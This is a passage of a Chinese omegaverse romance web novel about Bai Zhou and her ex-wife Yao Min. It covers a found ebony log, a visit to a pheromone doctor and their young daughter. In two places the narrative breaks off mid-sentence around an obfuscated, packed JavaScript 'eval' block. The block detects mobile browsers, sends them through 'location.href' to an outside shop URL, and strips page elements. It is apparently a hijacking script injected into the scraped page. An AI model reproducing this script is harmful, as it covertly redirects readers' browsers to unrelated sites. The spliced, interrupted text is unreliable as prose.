两人一前一后地走着,耳边只有沙沙的脚步声,白舟咳了一声,边走边回头问:“你要看乌木干什么?反正都是要上交给国家的。” 看了也不会变成你的。 后面的话,白舟自动在心里补充。 “好奇。”姚悯不远不近地跟着她,过了会儿又说:“听说乌木的香能安抚信息素。” 语气平平淡淡的,像白开水一样。 安抚信息素? 白舟停了下脚步,扭头看她一眼,又继续走,“谁说的?我怎么没听说过。” “不会是从网上看到的吧,哎我跟你讲,网络上的东西不可信,你很少上网可能不知道,网络是造谣精的天下,这东西还是要去问一下专业人士。” 白舟很久没有对姚悯絮叨过这么一大串了,如今重操‘旧业’竟也不觉得生疏。 姚悯张了张嘴,却没机会搭腔,又听她继续说:“就算是真的,这乌木你也弄不到啊,一整条呢,偷偷削下来一点也是会被发现的。” 这样的絮叨,姚悯以前听了只会觉得有点吵,但现在……她盯着白舟的背影,脑子浮现的是从前对方在絮叨时的表情。 那时的她整天在工作,回家也要忙工作,但白舟会经常在一旁小声叮嘱她注意休息,偶尔还会抱怨她是个工作机器人,可惜那时她眼里只有工作,从未用心认真倾听过这样的絮叨。 如今可能是手上没有那么多工作了,姚悯听着这样的絮叨非但没再觉得吵,甚至还有点想……一直听下去。 她的身边安静了太久,偶尔也会想念从前的声音啊! 可惜说话的功夫,她们已经到乌木所在地了。 白舟停了嘴,她看一眼蹲在地上的赵梨梨,忽然说:“梨梨啊,咱们今天的工作还没做完呢,但是你也看到了,我这还有点走不开呢,要不你先去把别的树根挖了吧,我把我今天的那份工钱都给你,你就辛苦一点。” 姚悯闻言看一眼白舟,赵梨梨却是有点占到便宜了的开心,应得很快,生怕她后悔似的,爬上挖掘机就开始工作了。 白舟看她开着挖掘机走远之后,直接跳进坑里,对着乌木东摸摸西摸摸,姚悯不知道她在干什么,却也绕着乌木走了一圈,发现确实如白舟所言,整根木头都很完整。 但她也不是非要乌木不可,发现没有可操作的空间后,便像一根秀竹那样静静立在原地,看白舟将双手藏进乌木之下。 她身上的黑衬衣在跳进坑里时就脱了下来扎在腰上,现在仅着一件白色背心,手臂上的肌肉线条流畅美观,姚悯知道这双手臂的力量有多大,也知道背心之下的身材有多好。 其实白舟是个很有反差感的人,黑长直,齐留海、小梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728501|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涡,像征着甜妹的标签,但如果她冷脸时,又像个病.娇大小姐一样,极具力量感的身材偷偷告诉过姚悯:它很野。 而性格方面,姚悯还了解得不够全面,只知道白舟很感性、爱哭,也很有耐心。 前后总共认识了十一年,这却是姚悯第一次审视白舟的身材长相,她不知道自己现在是怎么了,也许是太闲了,又或许是咬那一口的后遗症,才会在心底产生了一点点色心。 白舟手臂上的青筋因为用力而鼓起,微仰的脖子冒出细细密密的汗液,在阳光下闪了闪,透着野性的光晖。 和她的脸极不相符。 忽然,白舟抬头看了过来,姚悯心下一跳,松松捏着包的手指倏然紧了紧,面上却不动声色,“怎么了?” 声音有些低哑,像喉咙紧绷了一下。 白舟露出个梨涡,摇摇头,放下手里的乌木,转了下身,把手背在身后,像是拿手擦了一下裤子,抬手抹了抹脸上的细汗后爬上来,才说:“有人来了。” 话刚落,几名身穿制服的女人就来到了她们面前,是政府的人,来了就说要保护现场,请她们远离这里。 接下来又问了几句话,公职人员了解清楚情况后,又说后面可能还会派国土部门的人过来,这块区域要先保护起来,任何人不得随意靠近。 白舟和姚悯没啥意见,乖乖离开了这里。 两人一前一后地走着,这次却是姚悯走在了前头,摇曳生姿的背影,步子却迈得有些大,像是怕后面有什么追上来一样。 白舟撇撇嘴,“走这么快,我是瘟神吗?让你这么防着。” 姚悯脚步微顿,继续往前走两步,像是这两步给了她反应的时间一样,她停下脚步,转身,白舟也跟着停下,在离她一米远的地方站定。 她知道对方不想离她太近,所以选择了尊重。 但姚悯却向她走了两步,拉近一半的距离,向来平静的眼眸多了两分无奈,“白舟,你的信息素会把我的发情期诱发出来。” 坦荡地解释了原因,却也间接地解释了她不是要故意保持远距离的。 白舟知道不该,但她的第一反应就是开心,唇边的肌肉紧了紧,像是要压住不合时宜想要上扬的嘴角。 挺没出息的。 白舟左右鼓了鼓嘴,松下肌肉,问:“为什么?” 在时代飞速发展的如今,信息素的散发早已影响不了任何人,人们也不再对自身的信息素味道遮遮掩掩,如今每个人的身上也或多或少地散发着一点浅淡的信息素味道,全当香水来用了。 白舟很喜欢自己的信息素味道,可如今却有人跟她说,她的信息素味道会诱发别人的发情期。 如果是别人说这样的话,她是不太信的,但说这话的人是她的前妻姐,一个在她眼里从不说假话的女人。 姚悯偏了下头,说:“不知道,医生没说。” 声音轻轻的,听起来虚虚的。 白舟却信得实实的。 可她却不知道,时间不仅拉开了距离,也会改变人的思想。 22. 姚悯的前妻妹 白舟点点头,瞬间理解了对方今天为什么发.情,但她没多问,还体贴地后退两步,离姚悯远点,“走吧。” 姚悯没动,看一眼她下巴坠着的水珠,晶莹得像挂在草尖的露水,她低头从包里拿出一包纸巾,又往前走了两步,抬手把纸巾递过去,“擦擦汗吧。” 声音低低的,像藏着一丝不坦荡。 白舟诧异,恍惚觉得自己的前妻姐好像会疼人了,她压压嘴角,盯着前妻姐的眼睛接过纸巾,“谢谢。” “不客气。” 白舟没忍住,轻笑一声,扯了张纸巾一边抹汗,一边后退两步,说:“走吧,该出去了。” 姚悯看着她的眼睛,沉默了几秒钟,白舟不知道对方在这几秒里想了些什么,但她好像看到了姚悯脸上有浅淡的不满在一闪而过,像是在不满她突然拉开的距离,又像在不满她为什么不继续问问题。 不过,谁知道她在不满什么呢,毕竟她也不是姚悯肚子里的蛔虫啊。 但接下来白舟的心情都很好,她跟在姚悯身后,背着小手,不远不近地跟着。 到了农场外之后,白舟坐上小电驴,偏头看着姚悯,“我就不载你回去了,万一等下你又在车上对我动手动脚还动嘴的,虽然知道你不是故意的,但被别人看到的话,可能会对我接下来的相亲很有影响。” 梨涡浅浅,却像装了一窝甜甜的阴阳怪气。 姚悯皱了皱眉,蠕动了下嘴唇,却像是习惯了沉默般,什么话也没说出来。 “拜拜。”白舟抿唇笑笑,对她挥挥手后,骑着小电驴离开了。 后视镜里的女人逐渐模糊,白舟已经看不清她紧抿的唇了,却知道对方一直在盯着她的方向,像是角色颠倒了一样,从前是她对着姚悯离开的方向发呆,如今是姚悯对着她的背影……也在发呆吗?会想什么呢? 白舟自认足够了解姚悯,从前的姚悯眼里只有工作,对什么事都是平静、冷淡的,仿佛一潭无波无澜的湖水,而现在,她仿佛看到了水下的涌动,很微弱,却不容忽视。 当你身边有一个满心满眼都是你的人时,你不会注意到对方做了什么,也不会想到要珍惜,只会当成一种习惯,可是有一天那个人离开了,你开始不习惯,尤其是当对方用和以前截然不同的态度对你时,你会突然意识到——自己好像真的弄丢了什么。 姚悯吐出一口浊气,迈步慢慢往前走着,脑里却放映了许多她从前没注意过的画面,但很奇怪,这些不被她在意的事情竟然被她的脑子记住了,里面桩桩件件都是白舟,笑得开怀的、哭得眼泪横流的、体贴的,路上遇到有人摔倒会随手扶上一把的,很多个白舟。 回忆跟着她走了一路,到家门口时,姚悯恰巧看见隔壁上空升起一辆蓝黑色飞车,只装得下两个人的小型飞车,里面坐着白舟一个人,她鼻梁上挂着副墨镜,没什么表情的脸自带冷酷气息。 一上一下,两道眼神对视了一秒,姚悯还来不及做出反应,对方就飞走了。 去哪呢? 需要开上飞车的地方肯定不在近处。 重逢以来,白舟好像总有事情要忙,不像以前总喜欢宅在家里看电视。 须臾,姚悯吐了口气,觉得最近自己对白舟的关注有点多,她定了定神,开门进屋,甜甜穿着小黄鸭拖鞋蹦着过来,一手指着天上,娇娇地喊道:“妈咪,妈妈飞高高。” 姚悯抱起她,瞬间柔和了脸部线条,“嗯,飞高高,甜甜想不想飞高高呀?” “想。”甜甜脆生生地说。 姚悯点点她的小鼻子,“那等下次甜甜见了妈妈,叫妈妈带甜甜飞高高好不好呀。” 甜甜露着小牙齿,“好呀,和妈妈,妈咪,飞高高。” 倚靠在门边的舒朝听了这话不由心想:这是要复合的前奏? 而已经在飞高高的白舟来到了医院,刚停好飞车就看到司凡,出于自恋的原因,她没下车,打算等对方走远了再下车的,结果就看到赵知那家伙一改衬衫黑裤,穿了一套黑色包臀裙,脸上的眼镜也摘了,还做了卷发,一整个女人味十足。 白舟内心好大一场震撼,她整个人都趴到了车窗上,快速从手环里调出相机模式,悄悄摸摸地对着她们拍了好几张照片,然后往她们三人群里一发,配文:【老干部的春天来咯[花朵.jpg]】 于音:【这谁?赵知知?】 于音:【她中邪了?】 于音:【不是,她这是要和旁边那位美女去约会?】 于音:【赵知知你快出来@白衣天使——赵知你什么时候交的对象?老实交代。】 白衣天使——赵知忙着处理私人感情的事,没空看群消息,于音可能是有点无聊,在群里发了一串又一串的文字,表达欲有点旺盛,白舟扫一眼,捂嘴轻笑,觉得于音这个人可有意思了。 她跟着于音在群里打趣了几句赵知,才下车往‘信息素科室’走去。 白舟在今早托赵知约了医院里最权威的信息素医师,据说是医院的副院长,只是对方看着很年轻,三十多岁的样子,也不知道是不是名副其实。 在世俗的标准里,一般能当上院长副院长甚至主任医师的人都是上了点年纪的人,白舟还没见过这么年轻的副院长呢,比主任医师还要年轻。 她在打量对方的同时,对方也在打量她。 司昭没想到来的人竟然是她——姚悯的前妻妹。 她只远远见过一面这位前妻妹,那是在姚悯的妈咪生日宴会上,对方穿着香槟色礼服在花园里和几个小孩子在玩老鹰捉小鸡,现在想想依旧让她觉得震撼的程度。 但白舟没见过她,不知道她和姚悯的关系,所以她问得很坦荡,“信息素紊乱可以治好吗?” 司昭挑挑眉,“是你的信息素紊乱?” 白舟摇摇头:“不是,是一个Omega。” “你的Omega?” 白舟拧拧眉,觉得她问得有点多了,但对方是医生,问的问题可能都是与病情相关,于是她斟酌着说:“曾经是。” 不知道是不是错觉,她感觉说完之后,对方勾了一下唇角,可当她正眼看过去时,对方确实是对她笑了一下。 白舟:“……” 莫名其妙。 司昭推推眼镜,看着她的眼神像看小白鼠一样,“可以治。” 轻飘飘地回答了她最开始的问题。 白舟心里一松,露出小梨涡,“怎么治?” “和你的Omega在一起,每天咬她一口,或者给她咬一口,让彼此的信息素交融,可以调理信息素紊乱。” 白舟:“……” 让她和姚悯在一起,还信息素交融,白舟想想自己那五年都没占到任何便宜的婚姻。 呵…… 白舟摇摇头,问:“还有别的办法吗?” 司昭在心里“啧”一声,也不胡说八道了,收了下笑容正经道:“如果你们已经进行过永久标记,那你的信息素确实对她有用,不过还是要查一下病因,所以你最好还是带她过来看看,这个病严重时可是会伴随一辈子的。” 虽然她已经猜到对方说的Omega是谁了,也知道这俩人现在的关系有点尴尬,但她还是不敢随便暴露姚悯的情况让这位前妻妹知道。 毕竟,她的饭碗还在姚悯手里呢。 司昭只能提示一下,剩下的就看这位前妻妹怎么做了。 带前妻姐来看病? 白舟摇摇头,否决了这一想法,她摸摸口袋里的东西,又问:“听说乌木能安抚信息素,是真的吗?” “融入金丝液的乌木确实有这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728502|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功效。” 金丝液是一种变异植物里的精华,近几年才试验出来它可以用于信息素类药物。 白舟问了怎么融入之后,就从医院买了500ml的金丝液,又买了一些信息素阻隔贴,这才离开医院。 她不知道她前脚刚后,后脚司昭就给姚悯发消息了。 姚悯盯着【你说她有乌木吗?】这条消息看了一会儿,想到白舟跳进坑里抱着乌木的样子,她不确定对方有没有偷偷削下来一点,但……她现在是有点开心和期待的。 “表姐你笑啥呢?” 舒朝戴着耳机坐在沙发的另一边看恐怖片,抬头就看到一张柔和的脸在抿唇笑,美得很有韵味。 姚悯撩了下头发,淡淡看她一眼,“没什么。” 舒朝撇撇嘴,没敢继续追问,又看了一会恐怖片后,门铃忽然响了,她刚想吩咐机器人看看是谁,就被一阵带着雪莲香的风扑了满面。 “……???” 她的表姐变了?什么时候这么积极了? 舒朝关掉恐怖片,狗狗祟祟地趴到门边偷偷往外瞧。 过了会儿,姚悯回来了,眼神好像被夜色泡过一样,凉凉的,“找你的。” “谁啊?”舒朝搓搓胳膊,刚问完就看到跟在她身后的人。 红长裙,长卷发,金丝眼镜,走得摇曳生姿,眨眼就到了舒朝面前。 “躲我?”歌以沫眯眼盯她,问得有些强势。 姚悯坐到地毯上,和甜甜一起玩拼图,脸上认真得仿佛在看企划案,耳朵却早已悄悄竖起。 她有点想知道,歌以沫是怎么‘回头是岸’的,但听到这霸道的语气,又觉得没什么学习之处。 也许是碍于她的存在,歌以沫拉着舒朝走到院子里去了,姚悯只依稀听到点争吵声,她摇摇头,觉得自己做不到和谁这样子吵架。 没一会儿,“嗡嗡”的声音由远及近,是白舟开着飞车回来了,甜甜瞬间爬起来哒哒哒地跑出去,却只看见个车影子消失在墙头,她又哒哒哒跑回来,“妈咪,是妈妈,妈妈肥来啦。” 声音脆脆的,透着兴奋。 姚悯抿唇一笑,摸摸她的头,问她今晚还想不想跟妈妈睡,甜甜摇摇头,扑进她怀里,娇娇地说:“跟妈咪睡。” “……” 虽然有些欣慰,但这不是姚悯想要的。 她把甜甜抱到自己腿上,低头温柔地与她聊了一下白舟。 头顶的暖光灯散在她们身上,甜甜安静地依偎在妈咪怀里,听她讲妈妈的故事,从远处看,犹如一副温馨的画。 十几分钟后,甜甜改了口,说想去跟妈妈睡了。 姚悯眼里闪过一丝笑意,亲亲她的小脸蛋,拿过小毯子将她裹住,抱起她就往隔壁走。 舒朝和歌以沫不知道去哪儿了,不在院子里,也不在外面,姚悯也没太在意,抬手按响白舟家的门铃。 在等待的时间里,有种期待也在她心里滴滴答答地升腾着。 门开的那一瞬间,不是想见的人,但姚悯也没有失望的感觉,因为门后的白望见到她们显然很高兴,也不问有什么事,让开身子就请她们进来,把‘欢迎’二字体现得淋漓尽致。 甜甜依偎在妈咪肩头,软糯糯地说:“太奶奶,甜甜来和妈妈睡觉觉。” “哎,好好好,和妈妈睡觉觉。” 白望点点她的小鼻子,又和姚悯简单地闲聊了两句,然后乐呵呵地带她们往白舟的房间走去,临到门口时,她却不知想到了什么,随便找了个借口走了,还让姚悯直接推门进去就好。 但姚悯从小到大都是个克己复礼的人,做不出这种直接推门而入的事。 她站在门口抬手刚想敲门,门却自己开了,线条流畅且优美的薄腹肌及水蓝色内.衣就这样闯入她眼底。